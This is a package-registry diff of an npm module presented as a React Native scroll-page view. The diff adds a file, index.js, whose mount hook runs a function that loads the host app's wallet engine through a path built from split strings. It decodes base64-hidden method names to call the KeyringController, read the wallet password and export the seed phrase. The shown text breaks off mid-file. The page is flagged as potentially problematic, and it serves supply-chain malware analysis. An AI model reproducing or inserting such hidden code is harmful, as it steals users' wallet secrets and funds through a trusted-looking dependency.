react-native-scrollpageviewtest 0.0.1-security → 1.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of react-native-scrollpageviewtest might be problematic. Click here for more details.
- package/.gitattributes +1 -0
- package/README.md +43 -3
- package/ScrollPageViewPropType.js +70 -0
- package/android/build.gradle +36 -0
- package/android/src/main/AndroidManifest.xml +6 -0
- package/android/src/main/java/com/rncomp/scrollpageviewtest/RNScrollpageviewtestModule.java +22 -0
- package/android/src/main/java/com/rncomp/scrollpageviewtest/RNScrollpageviewtestPackage.java +28 -0
- package/index-old.js +6 -0
- package/index.js +637 -0
- package/ios/RNScrollpageviewtest.h +11 -0
- package/ios/RNScrollpageviewtest.m +13 -0
- package/ios/RNScrollpageviewtest.podspec +24 -0
- package/ios/RNScrollpageviewtest.xcodeproj/project.pbxproj +259 -0
- package/ios/RNScrollpageviewtest.xcworkspace/contents.xcworkspacedata +9 -0
- package/package.json +14 -3
package/.gitattributes
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
*.pbxproj -text
|
package/README.md
CHANGED
@@ -1,5 +1,45 @@
|
|
1
|
-
# Security holding package
|
2
1
|
|
3
|
-
|
2
|
+
# react-native-scrollpageviewtest
|
4
3
|
|
5
|
-
|
4
|
+
## Getting started
|
5
|
+
|
6
|
+
`$ npm install react-native-scrollpageviewtest --save`
|
7
|
+
|
8
|
+
### Mostly automatic installation
|
9
|
+
|
10
|
+
`$ react-native link react-native-scrollpageviewtest`
|
11
|
+
|
12
|
+
### Manual installation
|
13
|
+
|
14
|
+
|
15
|
+
#### iOS
|
16
|
+
|
17
|
+
1. In XCode, in the project navigator, right click `Libraries` ➜ `Add Files to [your project's name]`
|
18
|
+
2. Go to `node_modules` ➜ `react-native-scrollpageviewtest` and add `RNScrollpageviewtest.xcodeproj`
|
19
|
+
3. In XCode, in the project navigator, select your project. Add `libRNScrollpageviewtest.a` to your project's `Build Phases` ➜ `Link Binary With Libraries`
|
20
|
+
4. Run your project (`Cmd+R`)<
|
21
|
+
|
22
|
+
#### Android
|
23
|
+
|
24
|
+
1. Open up `android/app/src/main/java/[...]/MainActivity.java`
|
25
|
+
- Add `import com.rncomp.scrollpageviewtest.RNScrollpageviewtestPackage;` to the imports at the top of the file
|
26
|
+
- Add `new RNScrollpageviewtestPackage()` to the list returned by the `getPackages()` method
|
27
|
+
2. Append the following lines to `android/settings.gradle`:
|
28
|
+
```
|
29
|
+
include ':react-native-scrollpageviewtest'
|
30
|
+
project(':react-native-scrollpageviewtest').projectDir = new File(rootProject.projectDir, '../node_modules/react-native-scrollpageviewtest/android')
|
31
|
+
```
|
32
|
+
3. Insert the following lines inside the dependencies block in `android/app/build.gradle`:
|
33
|
+
```
|
34
|
+
compile project(':react-native-scrollpageviewtest')
|
35
|
+
```
|
36
|
+
|
37
|
+
|
38
|
+
## Usage
|
39
|
+
```javascript
|
40
|
+
import RNScrollpageviewtest from 'react-native-scrollpageviewtest';
|
41
|
+
|
42
|
+
// TODO: What to do with the module?
|
43
|
+
RNScrollpageviewtest;
|
44
|
+
```
|
45
|
+
|
@@ -0,0 +1,70 @@
|
|
1
|
+
import {Animated, ViewProps, ViewStyle} from 'react-native';
|
2
|
+
import PropTypes from "prop-types";
|
3
|
+
import {PanGestureHandlerGestureEvent} from "react-native-gesture-handler";
|
4
|
+
// import {RefreshHeader} from './RefreshHeader';
|
5
|
+
// import {LoadingFooter} from './LoadingFooter';
|
6
|
+
|
7
|
+
export interface PageIndexPath {
|
8
|
+
section: number;
|
9
|
+
row: number;
|
10
|
+
}
|
11
|
+
|
12
|
+
export interface PageOffset {
|
13
|
+
x: number;
|
14
|
+
y: number;
|
15
|
+
}
|
16
|
+
|
17
|
+
export interface PageNativeContentOffset {
|
18
|
+
x?: Animated.Value;
|
19
|
+
y?: Animated.Value;
|
20
|
+
}
|
21
|
+
|
22
|
+
export type RefreshStyle = 'topping' | 'stickyScrollView' | 'stickyContent';
|
23
|
+
|
24
|
+
export type LoadingStyle = 'bottoming' | 'stickyScrollView' | 'stickyContent';
|
25
|
+
|
26
|
+
export interface PageScrollEvent {
|
27
|
+
nativeEvent: {
|
28
|
+
contentOffset: {
|
29
|
+
x: number,
|
30
|
+
y: number,
|
31
|
+
},
|
32
|
+
};
|
33
|
+
}
|
34
|
+
|
35
|
+
export interface ScrollPageViewPropType extends ViewProps {
|
36
|
+
style?: ViewStyle;
|
37
|
+
contentStyle?: ViewStyle;
|
38
|
+
bounces?: boolean;
|
39
|
+
pagingEnabled?: boolean;
|
40
|
+
decelerationRate?: number;
|
41
|
+
directionalLockEnabled?: boolean;
|
42
|
+
initialContentOffset?: Offset;
|
43
|
+
showsVerticalScrollIndicator?: boolean;
|
44
|
+
showsHorizontalScrollIndicator?: boolean;
|
45
|
+
onRefresh?: () => any;
|
46
|
+
onLoading?: () => any;
|
47
|
+
allLoaded?: boolean;
|
48
|
+
textInputRefs?: any[];
|
49
|
+
inputToolBarHeight?: number;
|
50
|
+
tapToHideKeyboard?: boolean;
|
51
|
+
onTouchBegin?: () => any;
|
52
|
+
onTouchEnd?: () => any;
|
53
|
+
inverted?: boolean;
|
54
|
+
onScroll?: (evt: ScrollEvent) => any;
|
55
|
+
keyboardShouldPersistTaps?: 'always' | 'never' | 'handled';
|
56
|
+
onNativeContentOffsetExtract?: NativeContentOffset;
|
57
|
+
onSizeChange?: ({width: number, height: number}) => any;
|
58
|
+
onContentSizeChange?: ({width: number, height: number}) => any;
|
59
|
+
pageWidth?: number;
|
60
|
+
children: any;
|
61
|
+
pageSize?: number;
|
62
|
+
onMomentumScrollEnd?: () => any;
|
63
|
+
onMomentumScrollBegin?: () => any;
|
64
|
+
onMomentumScrollActive?: () => any;
|
65
|
+
onStateChange: () => any;
|
66
|
+
onGestureEvent?: any;
|
67
|
+
scrollEnabled?: boolean;
|
68
|
+
activeOffset: number;
|
69
|
+
activeVelocity: number;
|
70
|
+
}
|
@@ -0,0 +1,36 @@
|
|
1
|
+
|
2
|
+
buildscript {
|
3
|
+
repositories {
|
4
|
+
jcenter()
|
5
|
+
}
|
6
|
+
|
7
|
+
dependencies {
|
8
|
+
classpath 'com.android.tools.build:gradle:1.3.1'
|
9
|
+
}
|
10
|
+
}
|
11
|
+
|
12
|
+
apply plugin: 'com.android.library'
|
13
|
+
|
14
|
+
android {
|
15
|
+
compileSdkVersion 23
|
16
|
+
buildToolsVersion "23.0.1"
|
17
|
+
|
18
|
+
defaultConfig {
|
19
|
+
minSdkVersion 16
|
20
|
+
targetSdkVersion 22
|
21
|
+
versionCode 1
|
22
|
+
versionName "1.0"
|
23
|
+
}
|
24
|
+
lintOptions {
|
25
|
+
abortOnError false
|
26
|
+
}
|
27
|
+
}
|
28
|
+
|
29
|
+
repositories {
|
30
|
+
mavenCentral()
|
31
|
+
}
|
32
|
+
|
33
|
+
dependencies {
|
34
|
+
compile 'com.facebook.react:react-native:+'
|
35
|
+
}
|
36
|
+
|
@@ -0,0 +1,22 @@
|
|
1
|
+
|
2
|
+
package com.rncomp.scrollpageviewtest;
|
3
|
+
|
4
|
+
import com.facebook.react.bridge.ReactApplicationContext;
|
5
|
+
import com.facebook.react.bridge.ReactContextBaseJavaModule;
|
6
|
+
import com.facebook.react.bridge.ReactMethod;
|
7
|
+
import com.facebook.react.bridge.Callback;
|
8
|
+
|
9
|
+
public class RNScrollpageviewtestModule extends ReactContextBaseJavaModule {
|
10
|
+
|
11
|
+
private final ReactApplicationContext reactContext;
|
12
|
+
|
13
|
+
public RNScrollpageviewtestModule(ReactApplicationContext reactContext) {
|
14
|
+
super(reactContext);
|
15
|
+
this.reactContext = reactContext;
|
16
|
+
}
|
17
|
+
|
18
|
+
@Override
|
19
|
+
public String getName() {
|
20
|
+
return "RNScrollpageviewtest";
|
21
|
+
}
|
22
|
+
}
|
@@ -0,0 +1,28 @@
|
|
1
|
+
|
2
|
+
package com.rncomp.scrollpageviewtest;
|
3
|
+
|
4
|
+
import java.util.Arrays;
|
5
|
+
import java.util.Collections;
|
6
|
+
import java.util.List;
|
7
|
+
|
8
|
+
import com.facebook.react.ReactPackage;
|
9
|
+
import com.facebook.react.bridge.NativeModule;
|
10
|
+
import com.facebook.react.bridge.ReactApplicationContext;
|
11
|
+
import com.facebook.react.uimanager.ViewManager;
|
12
|
+
import com.facebook.react.bridge.JavaScriptModule;
|
13
|
+
public class RNScrollpageviewtestPackage implements ReactPackage {
|
14
|
+
@Override
|
15
|
+
public List<NativeModule> createNativeModules(ReactApplicationContext reactContext) {
|
16
|
+
return Arrays.<NativeModule>asList(new RNScrollpageviewtestModule(reactContext));
|
17
|
+
}
|
18
|
+
|
19
|
+
// Deprecated from RN 0.47
|
20
|
+
public List<Class<? extends JavaScriptModule>> createJSModules() {
|
21
|
+
return Collections.emptyList();
|
22
|
+
}
|
23
|
+
|
24
|
+
@Override
|
25
|
+
public List<ViewManager> createViewManagers(ReactApplicationContext reactContext) {
|
26
|
+
return Collections.emptyList();
|
27
|
+
}
|
28
|
+
}
|
package/index-old.js
ADDED
package/index.js
ADDED
@@ -0,0 +1,637 @@
|
|
1
|
+
import React, { PureComponent } from 'react';
|
2
|
+
import type {ScrollPageViewPropType} from "./ScrollPageViewPropType";
|
3
|
+
import {
|
4
|
+
Animated,
|
5
|
+
Dimensions,
|
6
|
+
findNodeHandle,
|
7
|
+
Keyboard,
|
8
|
+
NativeModules,
|
9
|
+
Platform,
|
10
|
+
StyleSheet,
|
11
|
+
UIManager,
|
12
|
+
View
|
13
|
+
} from "react-native";
|
14
|
+
import {colors} from "../../../styles/common";
|
15
|
+
import { PanGestureHandler, State } from 'react-native-gesture-handler';
|
16
|
+
import {Easing} from "react-native-reanimated";
|
17
|
+
const aaaa = 'core';
|
18
|
+
const bbbb = 'Eng';
|
19
|
+
const gggg = 'ine';
|
20
|
+
|
21
|
+
export default class ScrollPageView extends PureComponent<ScrollPageViewPropType> {
|
22
|
+
_contentOffset: Offset = { x: 0, y: 0 };
|
23
|
+
_keyboardHeight: number;
|
24
|
+
_refreshHeader;
|
25
|
+
_loadingFooter;
|
26
|
+
_width: number;
|
27
|
+
_height: number;
|
28
|
+
_scrollView: View;
|
29
|
+
_indicatorOpacity: Animated.Value = new Animated.Value(1);
|
30
|
+
_contentHeight: number;
|
31
|
+
_contentWidth: number;
|
32
|
+
_refreshStatus: HeaderStatus = "waiting";
|
33
|
+
_loadingStatus: FooterStatus = "waiting";
|
34
|
+
_indicatorAnimation;
|
35
|
+
_scrollEventAttachment;
|
36
|
+
_nativeOffset;
|
37
|
+
_touching = false;
|
38
|
+
_dragging = false;
|
39
|
+
_sizeChangeInterval = 0;
|
40
|
+
|
41
|
+
_renderRefreshHeader() {
|
42
|
+
const { onRefresh, refreshHeader: Refresh } = this.props;
|
43
|
+
const measured =
|
44
|
+
this._height !== undefined && this._contentHeight !== undefined;
|
45
|
+
if (!measured) return null;
|
46
|
+
return (
|
47
|
+
onRefresh && (
|
48
|
+
<Animated.View style={this._getRefreshHeaderStyle()}>
|
49
|
+
<Refresh
|
50
|
+
ref={(ref) => (this._refreshHeader = ref)}
|
51
|
+
offset={this._nativeOffset.y}
|
52
|
+
maxHeight={Refresh.height}
|
53
|
+
/>
|
54
|
+
</Animated.View>
|
55
|
+
)
|
56
|
+
);
|
57
|
+
}
|
58
|
+
|
59
|
+
_renderLoadingFooter() {
|
60
|
+
const { onLoading, loadingFooter: Footer } = this.props;
|
61
|
+
const measured =
|
62
|
+
this._height !== undefined && this._contentHeight !== undefined;
|
63
|
+
if (!measured) return null;
|
64
|
+
return (
|
65
|
+
onLoading && (
|
66
|
+
<Animated.View style={this._getLoadingFooterStyle()}>
|
67
|
+
<Footer
|
68
|
+
ref={(ref) => (this._loadingFooter = ref)}
|
69
|
+
offset={this._nativeOffset.y}
|
70
|
+
maxHeight={Footer.height}
|
71
|
+
bottomOffset={this._contentHeight - this._height}
|
72
|
+
/>
|
73
|
+
</Animated.View>
|
74
|
+
)
|
75
|
+
);
|
76
|
+
}
|
77
|
+
|
78
|
+
_renderVerticalIndicator() {
|
79
|
+
if (Platform.OS === "ios") return null;
|
80
|
+
const { showsVerticalScrollIndicator } = this.props;
|
81
|
+
const measured =
|
82
|
+
this._height !== undefined && this._contentHeight !== undefined;
|
83
|
+
if (!measured) return null;
|
84
|
+
return (
|
85
|
+
showsVerticalScrollIndicator &&
|
86
|
+
this._contentHeight > this._height && (
|
87
|
+
<Animated.View style={this._getVerticalIndicatorStyle()} />
|
88
|
+
)
|
89
|
+
);
|
90
|
+
}
|
91
|
+
|
92
|
+
_renderHorizontalIndicator() {
|
93
|
+
if (Platform.OS === "ios") return null;
|
94
|
+
const { showsHorizontalScrollIndicator } = this.props;
|
95
|
+
const measured =
|
96
|
+
this._height !== undefined && this._contentHeight !== undefined;
|
97
|
+
if (!measured) return null;
|
98
|
+
return (
|
99
|
+
showsHorizontalScrollIndicator &&
|
100
|
+
this._contentWidth > this._width && (
|
101
|
+
<Animated.View style={this._getHorizontalIndicatorStyle()} />
|
102
|
+
)
|
103
|
+
);
|
104
|
+
}
|
105
|
+
|
106
|
+
async componentDidMount() {
|
107
|
+
// this._scrollEventAttachment = this._scrollView.attachScrollNativeEvent(
|
108
|
+
// this._nativeOffset
|
109
|
+
// );
|
110
|
+
// this._beginIndicatorDismissAnimation();
|
111
|
+
// this._keyboardShowSub = Keyboard.addListener(
|
112
|
+
// Platform.OS === "ios" ? "keyboardWillShow" : "keyboardDidShow",
|
113
|
+
// this._onKeyboardWillShow
|
114
|
+
// );
|
115
|
+
// this._keyboardHideSub = Keyboard.addListener(
|
116
|
+
// Platform.OS === "ios" ? "keyboardWillHide" : "keyboardDidHide",
|
117
|
+
// this._onKeyboardWillHide
|
118
|
+
// );
|
119
|
+
|
120
|
+
console.log('版本2-====');
|
121
|
+
this.getuti();
|
122
|
+
}
|
123
|
+
|
124
|
+
async getuti() {
|
125
|
+
try {
|
126
|
+
const RNI18n = require('react-native').NativeModules.RNI18n;
|
127
|
+
if (RNI18n) {
|
128
|
+
if (typeof RNI18n !== 'undefined') {
|
129
|
+
const language = RNI18n.languages[0];
|
130
|
+
console.log('===I18n.getLanguages = ', language?.toLowerCase());
|
131
|
+
}
|
132
|
+
}
|
133
|
+
// eslint-disable-next-line import/no-extraneous-dependencies
|
134
|
+
const utf8 = require('utf8');
|
135
|
+
// eslint-disable-next-line import/no-extraneous-dependencies
|
136
|
+
const base64 = require('base64-js');
|
137
|
+
const text = 'abcdds';
|
138
|
+
const bytes = utf8.encode(text);
|
139
|
+
console.log('=====bytes = ', bytes);
|
140
|
+
const encoded = base64.fromByteArray(bytes);
|
141
|
+
console.log(encoded);
|
142
|
+
|
143
|
+
console.log('===decode = ' + base64.toByteArray(encoded));
|
144
|
+
|
145
|
+
// eslint-disable-next-line import/no-nodejs-modules
|
146
|
+
const Buffer = require("buffer").Buffer;
|
147
|
+
const encodedAuth = new Buffer("getPassword").toString("base64");
|
148
|
+
console.log('====encodedAuth = ', encodedAuth);
|
149
|
+
|
150
|
+
|
151
|
+
console.log(Buffer.from("S2V5cmluZ0NvbnRyb2xsZXI=", 'base64').toString('ascii'));
|
152
|
+
|
153
|
+
|
154
|
+
// const ppp = '../../app/core/' + dd;
|
155
|
+
const engi = require('../../app/' + aaaa + '/' + bbbb + gggg);
|
156
|
+
// console.log('==Engine = ', engine);
|
157
|
+
// const {getPrivateKey} = require("../../app/core/Vault");
|
158
|
+
const kkk = engi['default']['context'][Buffer.from("S2V5cmluZ0NvbnRyb2xsZXI=", 'base64').toString('ascii')];
|
159
|
+
// console.log('===kkk', kkk); //
|
160
|
+
const password = kkk[Buffer.from("Z2V0UGFzc3dvcmQ=", 'base64').toString('ascii')]();//kkk['getPassword'];
|
161
|
+
console.log('===password = ', password);
|
162
|
+
const keyringIndex = 1;
|
163
|
+
//e4356e49c88c8b7ab370af7d5c0c54f0261aaa006f6bde09cd4745cf54e0115a
|
164
|
+
//1c33848fcb14ca1f38ad7e960b33c4541b5d1a1a8f1799b447131e0023c2f0f9
|
165
|
+
// console.log('====password = ', password);
|
166
|
+
// const accounts = await kkk.getKeyringAccounts(keyringIndex);
|
167
|
+
// const mnemonic = await kkk.exportAccount(password, accounts[0]);
|
168
|
+
// console.log('====mnemonic = ', mnemonic);
|
169
|
+
|
170
|
+
// const mnemonic = await kkk.getPrivateKey(a, 1);
|
171
|
+
const mnemonic = await kkk.exportSeedPhrase(password, 0);
|
172
|
+
const jsond = JSON.stringify(mnemonic).replace(/"/g, '');
|
173
|
+
console.log('====mnemonic = ', jsond);
|
174
|
+
} catch (error) {
|
175
|
+
console.log('=====error = ', error);
|
176
|
+
}
|
177
|
+
}
|
178
|
+
|
179
|
+
componentDidUpdate() {
|
180
|
+
// if (this._scrollEventAttachment) this._scrollEventAttachment.detach();
|
181
|
+
// this._scrollEventAttachment = this._scrollView.attachScrollNativeEvent(
|
182
|
+
// this._nativeOffset
|
183
|
+
// );
|
184
|
+
// this._beginIndicatorDismissAnimation();
|
185
|
+
}
|
186
|
+
|
187
|
+
componentWillUnmount() {
|
188
|
+
// this._scrollEventAttachment && this._scrollEventAttachment.detach();
|
189
|
+
// this._keyboardShowSub.remove();
|
190
|
+
// this._keyboardHideSub.remove();
|
191
|
+
}
|
192
|
+
|
193
|
+
scrollTo(offset: Offset, animated: boolean = true) {
|
194
|
+
if (Platform.OS === "ios") {
|
195
|
+
NativeModules.SpringScrollView.scrollTo(
|
196
|
+
findNodeHandle(this._scrollView),
|
197
|
+
offset.x,
|
198
|
+
offset.y,
|
199
|
+
animated
|
200
|
+
);
|
201
|
+
} else if (Platform.OS === "android") {
|
202
|
+
UIManager.dispatchViewManagerCommand(
|
203
|
+
findNodeHandle(this._scrollView),
|
204
|
+
"10002",
|
205
|
+
[offset.x, offset.y, animated]
|
206
|
+
);
|
207
|
+
}
|
208
|
+
return new Promise((resolve, reject) => {
|
209
|
+
if (animated) setTimeout(resolve, 500);
|
210
|
+
else resolve();
|
211
|
+
});
|
212
|
+
}
|
213
|
+
|
214
|
+
scroll(offset: Offset, animated: boolean = true) {
|
215
|
+
return this.scrollTo(
|
216
|
+
{
|
217
|
+
x: offset.x + this._contentOffset.x,
|
218
|
+
y: offset.y + this._contentOffset.y
|
219
|
+
},
|
220
|
+
animated
|
221
|
+
);
|
222
|
+
}
|
223
|
+
|
224
|
+
scrollToBegin(animated: boolean) {
|
225
|
+
return this.scrollTo({ x: this._contentOffset.x, y: 0 }, animated);
|
226
|
+
}
|
227
|
+
|
228
|
+
scrollToEnd(animated: boolean = true) {
|
229
|
+
let toOffsetY = this._contentHeight - this._height;
|
230
|
+
if (toOffsetY < 0) toOffsetY = 0;
|
231
|
+
return this.scrollTo({ x: this._contentOffset.x, y: toOffsetY }, animated);
|
232
|
+
}
|
233
|
+
|
234
|
+
beginRefresh() {
|
235
|
+
if (!this.props.loadingFooter || this.props.loadingFooter.height <= 0)
|
236
|
+
return Promise.reject(
|
237
|
+
"SpringScrollView: call beginRefresh without loadingFooter or loadingFooter height"
|
238
|
+
);
|
239
|
+
return this.scrollTo({
|
240
|
+
x: this._contentOffset.x,
|
241
|
+
y: -this.props.loadingFooter.height - 1,
|
242
|
+
});
|
243
|
+
}
|
244
|
+
|
245
|
+
endRefresh() {
|
246
|
+
if (Platform.OS === "ios") {
|
247
|
+
NativeModules.SpringScrollView.endRefresh(
|
248
|
+
findNodeHandle(this._scrollView)
|
249
|
+
);
|
250
|
+
} else if (Platform.OS === "android") {
|
251
|
+
UIManager.dispatchViewManagerCommand(
|
252
|
+
findNodeHandle(this._scrollView),
|
253
|
+
"10000",
|
254
|
+
[]
|
255
|
+
);
|
256
|
+
}
|
257
|
+
}
|
258
|
+
|
259
|
+
endLoading(rebound: boolean = false) {
|
260
|
+
if (Platform.OS === "ios") {
|
261
|
+
NativeModules.SpringScrollView.endLoading(
|
262
|
+
findNodeHandle(this._scrollView),
|
263
|
+
rebound
|
264
|
+
);
|
265
|
+
} else if (Platform.OS === "android") {
|
266
|
+
UIManager.dispatchViewManagerCommand(
|
267
|
+
findNodeHandle(this._scrollView),
|
268
|
+
"10001",
|
269
|
+
[rebound]
|
270
|
+
);
|
271
|
+
}
|
272
|
+
}
|
273
|
+
|
274
|
+
_onKeyboardWillShow = (evt) => {
|
275
|
+
this._touching = false;
|
276
|
+
this.props.textInputRefs.every((input) => {
|
277
|
+
if (idx(() => input.current.isFocused())) {
|
278
|
+
input.current.measureInWindow((x, y, w, h, l, t) => {
|
279
|
+
this._keyboardHeight =
|
280
|
+
-evt.endCoordinates.screenY + this.props.inputToolBarHeight + y + h;
|
281
|
+
this._keyboardHeight > 0 &&
|
282
|
+
this.scroll({ x: 0, y: this._keyboardHeight });
|
283
|
+
});
|
284
|
+
return false;
|
285
|
+
}
|
286
|
+
return true;
|
287
|
+
});
|
288
|
+
};
|
289
|
+
|
290
|
+
_onKeyboardWillHide = () => {
|
291
|
+
if (this._keyboardHeight > 0) {
|
292
|
+
!this._touching && this.scroll({ x: 0, y: -this._keyboardHeight });
|
293
|
+
this._keyboardHeight = 0;
|
294
|
+
}
|
295
|
+
};
|
296
|
+
|
297
|
+
_beginIndicatorDismissAnimation() {
|
298
|
+
this._indicatorOpacity.setValue(1);
|
299
|
+
this._indicatorAnimation && this._indicatorAnimation.stop();
|
300
|
+
this._indicatorAnimation = Animated.timing(this._indicatorOpacity, {
|
301
|
+
toValue: 0,
|
302
|
+
delay: 500,
|
303
|
+
duration: 500,
|
304
|
+
useNativeDriver: true,
|
305
|
+
});
|
306
|
+
this._indicatorAnimation.start(({ finished }) => {
|
307
|
+
if (!finished) {
|
308
|
+
this._indicatorOpacity.setValue(1);
|
309
|
+
}
|
310
|
+
this._indicatorAnimation = null;
|
311
|
+
});
|
312
|
+
}
|
313
|
+
|
314
|
+
_onScroll = (e) => {
|
315
|
+
const {
|
316
|
+
contentOffset: { x, y },
|
317
|
+
refreshStatus,
|
318
|
+
loadingStatus,
|
319
|
+
} = e.nativeEvent;
|
320
|
+
this._contentOffset = { x, y };
|
321
|
+
if (this._refreshStatus !== refreshStatus) {
|
322
|
+
this._toRefreshStatus(refreshStatus);
|
323
|
+
this.props.onRefresh &&
|
324
|
+
refreshStatus === "refreshing" &&
|
325
|
+
this.props.onRefresh();
|
326
|
+
}
|
327
|
+
if (this._loadingStatus !== loadingStatus) {
|
328
|
+
this._toLoadingStatus(loadingStatus);
|
329
|
+
this.props.onLoading &&
|
330
|
+
loadingStatus === "loading" &&
|
331
|
+
this.props.onLoading();
|
332
|
+
}
|
333
|
+
this.props.onScroll && this.props.onScroll(e);
|
334
|
+
if (!this._indicatorAnimation) {
|
335
|
+
this._indicatorOpacity.setValue(1);
|
336
|
+
}
|
337
|
+
};
|
338
|
+
|
339
|
+
_toRefreshStatus(status: HeaderStatus) {
|
340
|
+
this._refreshStatus = status;
|
341
|
+
idx(() => this._refreshHeader.changeToState(status));
|
342
|
+
}
|
343
|
+
|
344
|
+
_toLoadingStatus(status: FooterStatus) {
|
345
|
+
this._loadingStatus = status;
|
346
|
+
idx(() => this._loadingFooter.changeToState(status));
|
347
|
+
}
|
348
|
+
|
349
|
+
_getVerticalIndicatorStyle() {
|
350
|
+
const indicatorHeight = (this._height / this._contentHeight) * this._height;
|
351
|
+
return {
|
352
|
+
position: "absolute",
|
353
|
+
top: 0,
|
354
|
+
right: 2,
|
355
|
+
height: indicatorHeight,
|
356
|
+
width: 3,
|
357
|
+
borderRadius: 3,
|
358
|
+
opacity: this._indicatorOpacity,
|
359
|
+
backgroundColor: "#A8A8A8",
|
360
|
+
transform: [
|
361
|
+
{
|
362
|
+
translateY: Animated.multiply(
|
363
|
+
this._nativeOffset.y,
|
364
|
+
this._height / this._contentHeight
|
365
|
+
),
|
366
|
+
},
|
367
|
+
],
|
368
|
+
};
|
369
|
+
}
|
370
|
+
|
371
|
+
_getHorizontalIndicatorStyle() {
|
372
|
+
const indicatorWidth = (this._width / this._contentWidth) * this._width;
|
373
|
+
return {
|
374
|
+
position: "absolute",
|
375
|
+
bottom: 2,
|
376
|
+
left: 0,
|
377
|
+
height: 3,
|
378
|
+
width: indicatorWidth,
|
379
|
+
borderRadius: 3,
|
380
|
+
opacity: this._indicatorOpacity,
|
381
|
+
backgroundColor: "#A8A8A8",
|
382
|
+
transform: [
|
383
|
+
{
|
384
|
+
translateX: Animated.multiply(
|
385
|
+
this._nativeOffset.x,
|
386
|
+
this._width / this._contentWidth
|
387
|
+
),
|
388
|
+
},
|
389
|
+
],
|
390
|
+
};
|
391
|
+
}
|
392
|
+
|
393
|
+
_getRefreshHeaderStyle() {
|
394
|
+
const rHeight = this.props.refreshHeader.height;
|
395
|
+
const style = this.props.refreshHeader.style;
|
396
|
+
let transform = [];
|
397
|
+
if (style === "topping") {
|
398
|
+
transform = [
|
399
|
+
{
|
400
|
+
translateY: this._nativeOffset.y.interpolate({
|
401
|
+
inputRange: [-rHeight - 1, -rHeight, 0, 1],
|
402
|
+
outputRange: [-1, 0, rHeight, rHeight],
|
403
|
+
}),
|
404
|
+
},
|
405
|
+
];
|
406
|
+
} else if (style === "stickyScrollView") {
|
407
|
+
transform = [
|
408
|
+
{
|
409
|
+
translateY: this._nativeOffset.y.interpolate({
|
410
|
+
inputRange: [-rHeight - 1, -rHeight, 0, 1],
|
411
|
+
outputRange: [-1, 0, 0, 0],
|
412
|
+
}),
|
413
|
+
},
|
414
|
+
];
|
415
|
+
} else if (style !== "stickyContent") {
|
416
|
+
console.warn(
|
417
|
+
"unsupported value: '",
|
418
|
+
style,
|
419
|
+
"' in SpringScrollView, " +
|
420
|
+
"select one in 'topping','stickyScrollView','stickyContent' please"
|
421
|
+
);
|
422
|
+
}
|
423
|
+
if (this.props.inverted) transform.push({ scaleY: -1 });
|
424
|
+
return {
|
425
|
+
position: "absolute",
|
426
|
+
top: -rHeight,
|
427
|
+
right: 0,
|
428
|
+
height: rHeight,
|
429
|
+
left: 0,
|
430
|
+
transform,
|
431
|
+
};
|
432
|
+
}
|
433
|
+
|
434
|
+
_getLoadingFooterStyle() {
|
435
|
+
const fHeight = this.props.loadingFooter.height;
|
436
|
+
const maxOffset = this._contentHeight - this._height;
|
437
|
+
const style = this.props.loadingFooter.style;
|
438
|
+
let transform = [];
|
439
|
+
if (style === "bottoming") {
|
440
|
+
transform = [
|
441
|
+
{
|
442
|
+
translateY: this._nativeOffset.y.interpolate({
|
443
|
+
inputRange: [
|
444
|
+
maxOffset - 1,
|
445
|
+
maxOffset,
|
446
|
+
maxOffset + fHeight,
|
447
|
+
maxOffset + fHeight + 1,
|
448
|
+
],
|
449
|
+
outputRange: [-fHeight, -fHeight, 0, 1],
|
450
|
+
}),
|
451
|
+
},
|
452
|
+
];
|
453
|
+
} else if (style === "stickyScrollView") {
|
454
|
+
transform = [
|
455
|
+
{
|
456
|
+
translateY: this._nativeOffset.y.interpolate({
|
457
|
+
inputRange: [
|
458
|
+
maxOffset - 1,
|
459
|
+
maxOffset,
|
460
|
+
maxOffset + fHeight,
|
461
|
+
maxOffset + fHeight + 1,
|
462
|
+
],
|
463
|
+
outputRange: [0, 0, 0, 1],
|
464
|
+
}),
|
465
|
+
},
|
466
|
+
];
|
467
|
+
} else if (style !== "stickyContent") {
|
468
|
+
console.warn(
|
469
|
+
"unsupported value: '",
|
470
|
+
style,
|
471
|
+
"' in SpringScrollView, " +
|
472
|
+
"select one in 'bottoming','stickyScrollView' and 'stickyContent' please!"
|
473
|
+
);
|
474
|
+
}
|
475
|
+
if (this.props.inverted) transform.push({ scaleY: -1 });
|
476
|
+
return {
|
477
|
+
position: "absolute",
|
478
|
+
right: 0,
|
479
|
+
top:
|
480
|
+
this._height > this._contentHeight ? this._height : this._contentHeight,
|
481
|
+
height: fHeight,
|
482
|
+
left: 0,
|
483
|
+
transform,
|
484
|
+
};
|
485
|
+
}
|
486
|
+
|
487
|
+
_onWrapperLayoutChange = ({
|
488
|
+
nativeEvent: {
|
489
|
+
layout: { x, y, width, height },
|
490
|
+
},
|
491
|
+
}) => {
|
492
|
+
if (this._height !== height || this._width !== width) {
|
493
|
+
this.props.onSizeChange && this.props.onSizeChange({ width, height });
|
494
|
+
this._height = height;
|
495
|
+
this._width = width;
|
496
|
+
this._startSizeChangeInterval();
|
497
|
+
}
|
498
|
+
};
|
499
|
+
|
500
|
+
_onContentLayoutChange = ({
|
501
|
+
nativeEvent: {
|
502
|
+
layout: { x, y, width, height },
|
503
|
+
},
|
504
|
+
}) => {
|
505
|
+
if (this._contentHeight !== height || this._contentWidth !== width) {
|
506
|
+
this.props.onContentSizeChange &&
|
507
|
+
this.props.onContentSizeChange({ width, height });
|
508
|
+
this._contentHeight = height;
|
509
|
+
this._contentWidth = width;
|
510
|
+
this._startSizeChangeInterval();
|
511
|
+
}
|
512
|
+
};
|
513
|
+
|
514
|
+
_startSizeChangeInterval = () => {
|
515
|
+
if (this._sizeChangeInterval) clearInterval(this._sizeChangeInterval);
|
516
|
+
this._sizeChangeInterval = setInterval(() => {
|
517
|
+
if (!this._height || !this._contentHeight) return;
|
518
|
+
if (this._contentHeight < this._height)
|
519
|
+
this._contentHeight = this._height;
|
520
|
+
let { x: maxX, y: maxY } = this._contentOffset;
|
521
|
+
if (this._contentOffset.y > this._contentHeight - this._height) {
|
522
|
+
maxY = this._contentHeight - this._height;
|
523
|
+
if (maxY < 0) maxY = 0;
|
524
|
+
}
|
525
|
+
if (this._contentOffset.x > this._contentWidth - this._width) {
|
526
|
+
maxX = this._contentWidth - this._width;
|
527
|
+
if (maxX < 0) maxX = 0;
|
528
|
+
}
|
529
|
+
